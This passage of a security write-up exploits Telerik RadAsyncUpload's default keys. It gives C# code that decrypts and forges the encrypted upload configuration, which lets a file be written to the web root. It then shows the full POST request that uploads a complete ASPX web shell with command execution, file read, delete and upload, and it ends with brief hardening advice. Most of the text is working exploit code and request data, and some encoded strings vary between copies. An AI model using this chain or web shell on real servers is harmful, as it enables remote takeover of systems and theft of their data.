sAnewj6SsHRYLfMy/USu7BdTodWbxUr12vJLHty2Yfp2MV3AMEUEoJVFmYCb+TMiQh90xT0KESlg5idX280lRqdav
50unA/ry+vvH8mFKpTdf/noi2TAKrSJKIm0Mm7EN89Igtv7P6ELu2pJlXYthXb/t2pt93YF6pSpXiyKHeywB2Jed
kkdX+pspo6WHQuIZN0giTMQoa8CBCxNGucMbtDcA54SCCFHoe0GUQ7SNuyhQX8TYL10dLkT38LFBovVwW0fgqFZTvt
9ET1oC238DmCt+1bf39GfPkDRyra3yiV8mLtG5LXVEBFdy6WK8F7fHjmvSGWj0N2nuqNVSvosEChx8V5J/m22edkD
Y/+jcPCXtJNSudp2G0GBdbSAqLe8965lUvzEd57jRI5FB4KViLhykF6muYEjeVulp+NVPfGZ7XKq9Di6AJ8S1T1KA
N4f8WPEaYfUFGUI4JLiNdd83vPcQ8KJkCzNSb0urIGKS4015bD05Lu+8Ur5187Wxth0+Zt7e0yjcBiLAJiH3EQQu5
SGt0ET/pKqGeu3laNhjviqxwPGsfdj92XMLck/008n1M5NJA5abkdm8HaRbH502Aw2zqHhwIqoI7o9z1jWYOnXd3G
mraxmgrpkefeYulQ2L7xkdTiFe0nT/UFWMh45/Ct7xcTIRKdWLiDECKZ6lme+lh03xP8vS42hQ+S2WJVEMGawyg6a
vvDF6j4HGsjUxt2jYctEdMZSjwerTOB+6Aa3BETarz6qJlIB0ASjRa6RRkhgNPhSp9ok=&6R/cGaqQeHVAzdJ9wT
F0yCsRMSTtqcjLe8AHwiPckPDUwecnJyNlKDYwDQpxGYQ9hs6YxhupK310sbCbtXB4H6Dz5rGNL40nkkyo4j2clmR
r08jtFsPQ0RpE5BGsulPT3l0MxyAvPFMs8bMybUyAP+9RB9LoHE3Xo8BqDadX3HTf8yLcNRKf53Gv7pEAGDq+VvrS
81dtJv3UVTBKX9T5CDKKZKdxQ0/M7cxnMAyNV/v+3DCIAial7beG4l+HP9nrpRwQhp010nSra52WdUo7s9+63xJUd

```
IluctNn59uGq/hej3vmPysCbpZnrSFCv3TQdrgMPDfYTdAiPbHupoNb02UYrF/AEaFpF1JtmX/FptQ=
-----32094154981945
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream

blahblahblah
-----32094154981945
Content-Disposition: form-data; name="fileName"

blah.jpg
-----32094154981945
Content-Disposition: form-data; name="contentType"

image/jpeg
-----32094154981945
Content-Disposition: form-data; name="lastModifiedDate"

2017-01-06T20:05:50.365Z
-----32094154981945
Content-Disposition: form-data; name="metadata"

{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":3375,"UploadID":"1485977491238blah.jpg","
IsSingleChunkUpload":false}
-----32094154981945--
```

We use the following to decipher 'rauPostData'

```

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
using System.Text;
using System.IO;

namespace UnRadAsyncUpload {
    public class Program {
        static string password = "PrivateKeyForEncryptionOfRadAsyncUploadConfiguration";
        static string hashkey = "PrivateKeyForHashOfUploadConfiguration";

        public static void Main(string[] args) {
            //rauPostData encrypted base64 content
            string ciphertext1 =
"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";

            string deciphertext1 = Decrypt(ciphertext1);
            Console.WriteLine(deciphertext1);
            Console.WriteLine();
            //TempTargetFolder encrypted base64 content
            string ciphertext2 =

```

```
"gXV+y4VLigQV9VuI9YwP4V5qhvzy4aMTdPhT2fGYHJ/sd/Phsc9j fGKYrEQGEqdTtQTfpcL8cf0ID00aM89ynPdP
UwEC1F5RvtNVanHTiy3tTIJ/L3E7+bzAxwAGu7cJLMNaVP7aX80+FzXNcHNEh1Y433x9n3cuHGCuNqplY2ac87Krf
xhB80SGe5ZiCrHyWQb47Av2CQAKJFQJwE74XzAVKizymCtVeZXDAYiVjR3xBXl3CycZuSNsHRhPGcxR";
```

```
    string deciphertext2 = Decrypt(ciphertext2);
```

```
    Console.WriteLine(deciphertext2);
```

```
    Console.WriteLine();
```

```
    //Hash of TempTargetFolder
```

```
    string hmac = Hash256(ciphertext2);
```

```
    Console.WriteLine(hmac);
```

```
}
```

```
internal static string Decrypt(string encryptedString) {
```

```
    byte[] encryptedBytes = Convert.FromBase64String(encryptedString);
```

```
    byte[] rgbSalt = new byte[] {
```

```
        58,
```

```
        84,
```

```
        91,
```

```
        25,
```

```
        10,
```

```
        34,
```

```
        29,
```

```
        68,
```

```
        60,
```

```
        88,
```

```
        44,
```

```
        51,
```

```
        1
```

```
    };
```

```
    PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(password,
rgbSalt);
```

```
    byte[] bytes = Decrypt(encryptedBytes, passwordDeriveBytes.GetBytes(32),
passwordDeriveBytes.GetBytes(16));
```

```
    return Encoding.Unicode.GetString(bytes);
```

```
}
```

```
private static byte[] Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv) {
```

```
    MemoryStream memoryStream = new MemoryStream();
```

```
    CryptoStream cryptoStream = new CryptoStream(memoryStream, new
```

```
AesCryptoServiceProvider {
```

```
        Key = key,
```

```
        IV = iv
```

```
    }.CreateDecryptor(), CryptoStreamMode.Write);
```

```
    cryptoStream.Write(encryptedBytes, 0, encryptedBytes.Length);
```

```
    cryptoStream.Close();
```

```

        return memoryStream.ToArray();
    }

    private static string Hash256(string input) {
        byte[] bytes = Encoding.UTF8.GetBytes(hashkey);
        string result;
        using (HMACSHA256 hMACSHA = new HMACSHA256(bytes)) {
            byte[] bytes2 = Encoding.UTF8.GetBytes(input);
            byte[] inArray = hMACSHA.ComputeHash(bytes2);
            result = Convert.ToBase64String(inArray);
        }
        return result;
    }
}
}

```

and get:

```

{"TargetFolder":"jgas0meSrU/uP/TPzrhDTw==Au0L0aX6ddH0qJL5T8IwoKpc0rwIVPUB/dtjhNpis+s=","TempTargetFolder":"gXV+y4VLIgQV9VuI9YwP4V5qhvzy4aMTdPhT2fGYHJ/sd/Phsc9jfGKYrEQGEqdTtQTfpcL8cf0ID00aM89ynPdPUwEC1F5RvtNVanHTiy3tTIJ/L3E7+bzAxwAGu7cJLMNaVP7aX80+FzXNcHNEh1Y433x9n3cuHGCuNqplY2ac87KrfxhB80SGe5ZiCrHyWQb47Av2CQAKJFQJwE74XzAVKizymCtVeZXDAYiVjR3xBXl3CycZuSNsHRhPGcxR8N012SbhbvdamLwInXa7ox20p59+kveRBDm3th1bAHo=","MaxFileSize":0,"TimeToLive":{"Ticks":144000000000,"Days":0,"Hours":4,"Milliseconds":0,"Minutes":0,"Seconds":0,"TotalDays":0.16666666666666666,"TotalHours":4,"TotalMilliseconds":14400000,"TotalMinutes":240,"TotalSeconds":14400},"UseApplicationPoolImpersonation":false,"AllowedFileExtensions":[".jpeg",".jpg",".png",".doc",".docx",".xls",".xlsx"]}

```

C:\Program Files (x86)\Telerik\UI for ASP.NET AJAX R1 2017\Live
Demos\App_Data\RadUploadTemp

8N012SbhbvdamLwInXa7ox20p59+kveRBDm3th1bAHo=

We will upload a shell.aspx to this path C:\Program Files (x86)\Telerik\UI for ASP.NET AJAX R1 2017\Live Demos

We use the following code to craft get our new 'RauPostData'

```

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
using System.Text;
using System.IO;

namespace UnRadAsyncUpload {
    public class Program {

        static string password = "PrivateKeyForEncryptionOfRadAsyncUploadConfiguration";
        static string hashkey = "PrivateKeyForHashOfUploadConfiguration";

        public static void Main(string[] args) {

            string path = "C:\\Program Files (x86)\\Telerik\\UI for ASP.NET AJAX R1
2017\\Live Demos";
            string cipherPath = Encrypt(path);
            string hash = Hash256(cipherPath);
            string arbitraryPath = cipherPath + hash;
            string payload = "
{\\\"TargetFolder\\\":\\\"jgas0meSrU/uP/TPzrhDTw==Au0L0aX6ddH0qJL5T8IwoKpc0rwIVPUB/dtjhNpis+s=\\
\\\",\\\"TempTargetFolder\\\":\\\"\" + arbitraryPath + \"\\\",\\\"MaxFileSize\\\":0,\\\"TimeToLive\\\":
{\\\"Ticks\\\":144000000000,\\\"Days\\\":0,\\\"Hours\\\":4,\\\"Milliseconds\\\":0,\\\"Minutes\\\":0,\\\"Seconds
\\\":0,\\\"TotalDays\\\":0.16666666666666666,\\\"TotalHours\\\":4,\\\"TotalMilliseconds\\\":14400000,\\\"
TotalMinutes\\\":240,\\\"TotalSeconds\\\":14400},\\\"UseApplicationPoolImpersonation\\\":false,\\\"Al
lowedFileExtensions\\\":
[\\\".jpeg\\\",\\\".jpg\\\",\\\".png\\\",\\\".doc\\\",\\\".docx\\\",\\\".xls\\\",\\\".xlsx\\\"]}\"";
            string cipherPayload = Encrypt(payload);
            Console.WriteLine(cipherPayload);
        }

        internal static string Encrypt(string clearText) {
            byte[] bytes = Encoding.Unicode.GetBytes(clearText);
            byte[] rgbSalt = new byte[] {
                58,
                84,
                91,
                25,
                10,
                34,
                29,
                68,
            }

```

```

        60,
        88,
        44,
        51,
        1
    };

    PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(password,
rgbSalt);

    byte[] inArray = Encrypt(bytes, passwordDeriveBytes.GetBytes(32),
passwordDeriveBytes.GetBytes(16));

    return Convert.ToBase64String(inArray);
}

private static byte[] Encrypt(byte[] clearData, byte[] key, byte[] iv) {
    MemoryStream memoryStream = new MemoryStream();
    CryptoStream cryptoStream = new CryptoStream(memoryStream, new
AesCryptoServiceProvider {
        Key = key,
        IV = iv
    }.CreateEncryptor(), CryptoStreamMode.Write);
    cryptoStream.Write(clearData, 0, clearData.Length);
    cryptoStream.Close();
    return memoryStream.ToArray();
}

private static string Hash256(string input) {
    byte[] bytes = Encoding.UTF8.GetBytes(hashkey);
    string result;
    using (HMACSHA256 hMACSHA = new HMACSHA256(bytes)) {
        byte[] bytes2 = Encoding.UTF8.GetBytes(input);
        byte[] inArray = hMACSHA.ComputeHash(bytes2);
        result = Convert.ToBase64String(inArray);
    }
    return result;
}
}
}

```

which outputs:

ATTu5i4R+ViNFY06kst0jC1lwM/liqH+W/isjhaDjNuCI7eJ/BY5d1E9eqZK27CJCMuon9u8/hgRIM/cTlgLlv4q0
YjPBjs81Y3dAZAdtIqlZZ5Y1iiwYvro4Ee7sUhk8+UPrRkt1sHK82rpy7A2yj5eJtI8RVpt8wy25bsZYrt9DwMZL3
X7M9H5i28nbi3Um2ezqm907PTUwu8app/N0IA51Lmxn6WUlbsgGQLrckmdAigfDul1MkNCyZh8Jq+XmP9mu0J/U2g
dCjkgrrzmngxq2SLCvthpss/zsHahb0QyXs8iRXvij+WjRYXYFVPV22ivCq83jL3RY8KQkMFOxFuWVjx7EvigUDW/C
Jal8s8Lt749cKVzvCa05UmeCDKkvRac46QbdTVlUzAgMQthzspFuKElzSrV4UobmUbyU4fXS8beHoRHoWsK0x9lvY
YdB+gLlNrKKSrEVIVBPRNlaeCgCKKAH6sF9JhM5UEMcyh7QGajfjhpMJR5Ak4I7NqvIt716QmLyZFI8wNsXeSdnsN
rg4fC0TmmqqccAxvyIXAvCGX0ywgT0rb8FfyMfWmZihBeUaNzQL0QlXt3VsCqLADpMCvpI2wCCYKpbxXpbdyv0dUV
9LlWxsC6lzIY55Zc3kbJflyHI0KKlieRAjiaIcupl7frzVF54BhrYg84u4lowadeg5PpJpLU0MQmGSsIq4z0iJAI
mtk4vQrtbML0HYJ1gQQ+JyU0yagb1FrwYn4ZNA6MJSa0Fmz6faz0kUon99MYZhCAbbgEMstcIQkFKccmpRY3JGrEn
Fz6sSjCM7Qp/FM94MFenidl+YxZuC+3e9HyC7QPhEGpSMLexzk4J2Msnm5epjQ7HKYnk1cBUFXcr9tmptqrx7UDYg
pki29J/TQREsRDCeTy5EU0GQvhGvp4m5SbipxW40ZTn4mXvY7u+6z6Iod69DaYns4FNrHD4q7gQLAN9A7a59W4eTL
owTAGb6uxQIvHiZLYHnVekSLQJJYaCJkM6le2VBDlKkFhFhVMG7R0ZTQ8f/7GAL+uuXMaNUGxoZAd3CM2JDZB04KG
5qGkPKxZG07NsP8A7ksNEbLUucqY/z7IsQpJI9JwqrneQjE/yy+lg/gqDFAKXXA3CAFQW+p5mM0YMfMB6IF/8yH6x
7siej53nkvjrmehyfGWxIS/43yeHb/3QlB8ok9EktkGKdoLjSfSp205ZqX7xdmQ6pRM4AFVb+LWGFp2q6hlt8WdWm
7TR4eM8kU/85zJjl+ReN5xDjSTSHA3BvlgrAx1knceXpg0bYL3sYYhhRmSIGhgLQ0Pg7lcqoXyG2ySwv/dNtRLrt/
/ZKqbv0g91uf6jrcrJuNK+n0edto0H68kh0shKqWfPFa5XVcBYRu7rSMpj4jeNA0wBh7fnoBgT1hfqfeq5Ku6+rXY
iP5ZeBfJF0eDv17Gj4JpPsQljdbijHHWgHlqa1F4W0lWgBwhQZtSTktpY06eI1fY6R2E70nGbLid0NMfD4roPqlA6
uDPYhDf+uNgRUGvyDr0YzfAqv6mCR/tHbplaJwYLUKhwly1eETAXgu52iAuH2fxg26o+pPrjWtFFINPgflt4CNMsr
lZ4zxgx5SXZzW+SvWF5aizf3j75CtHdYzpdhWJ/9FQ++k9TeshY3951fshQehcgn2jGHkLW/Loj50McYu5kCGh0z
SMdFgpyez/9+tuQvYu+Z7p1e4laL32jH5NjIRRYs8MuMDJg0tHVFmj/ytxlrGEa08dsBudqJYmYMGzrSZ0iktL
SxUzkc3N3hTTf0g60zNlPi/quW+aHlIuCQATxY0u6Ld7hqHxU4SzqrPgMhPXx+PsE0GGHQL5UoCj

We're going to perform a POST request with the new 'rauPostData', with the 'UploadID' set to 'shell.aspx', and with the content of an ASP.NET shell from <https://packetstormsecurity.com/files/60858/aspshell.aspx.txt.html>

POST /TelerikUI_for_AspNetAjax/Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
Host: localhost:8301
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer:
http://localhost:8301/TelerikUI_for_AspNetAjax/asyncupload/examples/overview/defaultcs.aspx
Cache-Control: no-cache
Content-Length: 8696
Content-Type: multipart/form-data; boundary=-----32094154981945
Cookie: _ga=GA1.1.83688596.1483773012; ASP.NET_SessionId=d14etbd0n2vzclsdbeqjyqh;
_dc_gtm_UA-111455-21=1; _gat_UA-111455-1=1
Connection: close

-----32094154981945
Content-Disposition: form-data; name="rauPostData"

ATTu5i4R+ViNFY06kst0jC1lwM/liqH+W/isjhaDjNuCI7eJ/BY5d1E9eqZK27CJCMuon9u8/hgRIM/cTlgLlv4q0
YjPBjs81Y3dAZAdtIqlZZ5Y1iiwYvro4Ee7sUhk8+UPrRkt1sHK82rpy7A2yj5eJtI8RVpt8wy25bsZYrt9DwMZL3
X7M9H5i28nbi3Um2ezqm907PTUwu8ayp/N0IA51Lmxn6WUlbSGQLrckmdAigfDul1MkNCyZh8Jq+XmP9mu0J/U2g
dCjkgrrzmngxq2SLcvthpss/zsHahb0QyXs8iRXvij+WjRYXYFVPV22ivCq83jL3RY8KQkMFOXFuWVjx7EvigUDW/C
Jal8s8Lt749cKVzvCa05UmeCDKkvRac46QbdTVLuzAgMQthzspFuKElZSrV4UobmUbyU4fXS8beHoRHoWsK0x9lvY
YdB+gLlNrKsREIVBPRNlaeCgCKKAH6sF9JhM5UEMcyh7QGajfjhpMJR5Ak4I7NqvIt716QmLyzFI8wNsXeSdnsN
rg4fC0TmmqqccAxvyIXAvCGX0ywgT0rb8FfyMfWmZihBeUaNZqL0Q1xT3VsCqLADpMCvpI2wCCYKpbxXpbdyv0dUV
9LlWxsC6lzIY55Zc3kbJflyHI0KKlieRAjiakIcupl7frzVF54BhrYg84u4lowadeg5PpJpLU0MQmGSsIq4z0iJAI
mtk4vQrtbML0HYJ1gQQ+JyU0yagb1FrwYn4ZNA6MJSa0Fmz6faz0kUon99MYZhCAbbgEMstcIQkFKccmpRY3JGrEn
Fz6sSjCM7Qp/FM94MFenidL+YxZuC+3e9HyC7QPhEGpSMLexzk4J2Msn5epjQ7HKYnk1cBUFXcr9tmptqrx7UDYg
pki29J/TQREsRDCeTy5EU0GQvhGvp4m5SbipxW40ZTn4mXvY7u+6z6Iod69DaYns4FNrHD4q7gQLAN9A7a59W4eTL
owTAGb6uxQIvHiZLyHnVekSLQJJyaCJkM6le2VBDlKkFhFhVMG7R0ZTQ8f/7GAL+uuXMaNUGxoZAd3CM2JDZB04KG
5qGkPKxZG07NsP8A7ksNEbLUucqY/z7IsQpJI9JwqrneQjE/yy+lg/gqDFAKXXA3CAFQW+p5mMOYMfMB6IF/8yH6x
7siej53nkvjrmehyfGWxIS/43yeHb/3QlB8ok9EktkGkdLjSfSp205ZqX7xdmQ6pRM4AFVb+LWGFp2q6hlt8WdWm
7TR4eM8kU/85zJjl+ReN5xDjSTSHA3BvlgRax1knceXpg0bYL3sYYhhRmSIGhgLQ0Pg7lcqoXyG2ySwv/dNtRLrt/
/ZKqbv0g91uf6jrcrJuNK+n0edto0H68kh0shKqWfPFa5XVcBYRu7rSMpj4jeNA0wBh7fnoBGt1hfqfeq5Ku6+rXY
iP5ZeBfJF0eDv17Gj4JpPsQljdbijHHWgHlqa1F4W0lWgBwhQZtStktP06eI1fY6R2E70nGbLid0NMfD4roPqlA6
uDPYhDf+uNgRUgvyDr0YzfAqv6mCR/tHbplaJwYLUKhwly1eETAXgu52iAuH2fxg26o+pPrjWtFFINPgf1t4CNMsr
lZ4zxgxrs5SXZzW+SvWF5aizf3j75CtHdYzpdhWJ/9FQ++k9TeshY3951fshQehcgn2jGHkLW/Loj50McYu5kCGh0z
SMdFgpyez/9+tuQvYu+Z7plp1e4laL32jH5NjIRrys8MuMDJg0tHVFmj/ytxlrGEea08dsBudqJYmYMGzrSZ0iktL
SxUzkc3N3hTTf0g60zNlPi/quW+aHlIuCQATxY0u6Ld7hqHxU4SzqrPgMhPXX+PsEOGGHQL5UoCj&6R/cGaqQeHVA
zdJ9wTF0yCsrMSTtqcjLe8AHwiPckPDUwecnJyNlkdYwDQpxGYQ9hs6YxhupK310sbCbtXB4H6Dz5rGNL40nkkyo4
j2clmRr08jtFsPQ0RpE5BGsulPT3l0MxyAvPFMs8bMybUyAP+9RB9LoHE3Xo8BqDadX3HTf8yLcNRKf53Gv7pEAGD
q+VvrS81dtJv3UVTBKX9T5CDKKZKdxQ0/M7cxnMAYNV/v+3DCIAial7beG4l+HP9nrpRwQhp010nSra52WdUo7s9+
63xJUdIluctNn59uGq/hej3vmPysCbpZnrSFCv3TQdrgMPDfYTDaiPbHupoNb02UYrF/AEaFpF1JtmX/FptQ=
-----32094154981945

Content-Disposition: form-data; name="file"; filename="blob"

Content-Type: application/octet-stream

```
<%-- ASPX Shell by LT <lt@mac.hush.com> (2007) --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>

<%
    string outstr = "";

    // get pwd
    string dir = Page.MapPath(".") + "/";
    if (Request.QueryString["fdir"] != null)
        dir = Request.QueryString["fdir"] + "/";
    dir = dir.Replace("\\", "/");
    dir = dir.Replace("//", "/");

    // build nav for path literal
    string[] dirparts = dir.Split('/');
    string linkwalk = "";
    foreach (string curpart in dirparts)
    {
        if (curpart.Length == 0)
            continue;
        linkwalk += curpart + "/";
        outstr += string.Format("<a href='?fdir={0}'>{1}</a> ",
                                HttpUtility.UrlEncode(linkwalk),
                                HttpUtility.HtmlEncode(curpart));
    }
    lblPath.Text = outstr;

    // create drive list
    outstr = "";
    foreach(DriveInfo curdrive in DriveInfo.GetDrives())
    {
        if (!curdrive.IsReady)
            continue;
        string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
        outstr += string.Format("<a href='?fdir={0}'>{1}</a> ",
                                HttpUtility.UrlEncode(driveRoot),
                                HttpUtility.HtmlEncode(driveRoot));
    }
}
```

```

lblDrives.Text = outstr;

// send file ?
if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
{
    Response.ClearContent();
    Response.WriteFile(Request.QueryString["get"]);
    Response.End();
}

// delete file ?
if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
    File.Delete(Request.QueryString["del"]);

// receive files ?
if(flUp.HasFile)
{
    string fileName = flUp.FileName;
    int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
    if (splitAt >= 0)
        fileName = flUp.FileName.Substring(splitAt);
    flUp.SaveAs(dir + "/" + fileName);
}

// enum directory and generate listing in the right pane
DirectoryInfo di = new DirectoryInfo(dir);
outstr = "";
foreach (DirectoryInfo curdir in di.GetDirectories())
{
    string fstr = string.Format("<a href='?fdir={0}'>{1}</a>",
        HttpUtility.UrlEncode(dir + "/" + curdir.Name),
        HttpUtility.HtmlEncode(curdir.Name));
    ostr += string.Format("<tr><td>{0}</td><td><DIR></td><td></td></tr>", fstr);
}
foreach (FileInfo curfile in di.GetFiles())
{
    string fstr = string.Format("<a href='?get={0}' target='_blank'>{1}</a>",
        HttpUtility.UrlEncode(dir + "/" + curfile.Name),
        HttpUtility.HtmlEncode(curfile.Name));
    string astr = string.Format("<a href='?fdir={0}&del={1}'>Del</a>",
        HttpUtility.UrlEncode(dir),
        HttpUtility.UrlEncode(dir + "/" + curfile.Name));
    ostr += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fstr,
        curfile.Length / 1024, astr);
}

```

```

}
lblDirOut.Text = outstr;

// exec cmd ?
if (txtCmdIn.Text.Length > 0)
{
    Process p = new Process();
    p.StartInfo.CreateNoWindow = true;
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.WorkingDirectory = dir;
    p.Start();

    lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
    txtCmdIn.Text = "";
}
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title>ASPX Shell</title>
    <style type="text/css">
        * { font-family: Arial; font-size: 12px; }
        body { margin: 0px; }
        pre { font-family: Courier New; background-color: #CCCCCC; }
        h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
        h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
        th { text-align: left; background-color: #99CC99; }
        td { background-color: #CCFFCC; }
        pre { margin: 2px; }
    </style>
</head>
<body>
    <h1>ASPX Shell by LT</h1>
    <form id="form1" runat="server">
        <table style="width: 100%; border-width: 0px; padding: 5px;">
            <tr>
                <td style="width: 50%; vertical-align: top;">

```

```

<h2>Shell</h2>
<asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
<asp:Button runat="server" ID="cmdExec" Text="Execute" />
<pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
</td>
<td style="width: 50%; vertical-align: top;">
  <h2>File Browser</h2>
  <p>
    Drives:<br />
    <asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
  </p>
  <p>
    Working directory:<br />
    <b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
  </p>
  <table style="width: 100%">
    <tr>
      <th>Name</th>
      <th>Size KB</th>
      <th style="width: 50px">Actions</th>
    </tr>
    <asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
  </table>
  <p>Upload to this directory:<br />
  <asp:FileUpload runat="server" ID="flUp" />
  <asp:Button runat="server" ID="cmdUpload" Text="Upload" />
  </p>
</td>
</tr>
</table>

```

```

</form>

```

```

</body>

```

```

</html>

```

```

-----32094154981945

```

```

Content-Disposition: form-data; name="fileName"

```

```

blah.jpg

```

```

-----32094154981945

```

```

Content-Disposition: form-data; name="contentType"

```

```

image/jpeg

```

```

-----32094154981945

```

```

Content-Disposition: form-data; name="lastModifiedDate"

```

```
2017-01-06T20:05:50.365Z
-----32094154981945
Content-Disposition: form-data; name="metadata"

{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":3375,"UploadID":"shell.aspx","IsSingleChunkUpload":false}
-----32094154981945--
```

When browse to http://localhost:8301/TelerikUI_for_AspNetAjax/shell.aspx, the web shell gets executed.

[image: shell]

== Conclusion ==

It is dangerous to use the RadAsyncUpload's default configuration as it could lead to arbitrary file upload. The following is recommended to protect your application:

- Supply a custom encryption key and hash key in web.config to prevent sensitive data from decoded and edited.
- Enforce the ASP.NET to only have read and execution privilege, and no write access.

Reference:

[1] <https://www.the-s-unit.nl/node/78>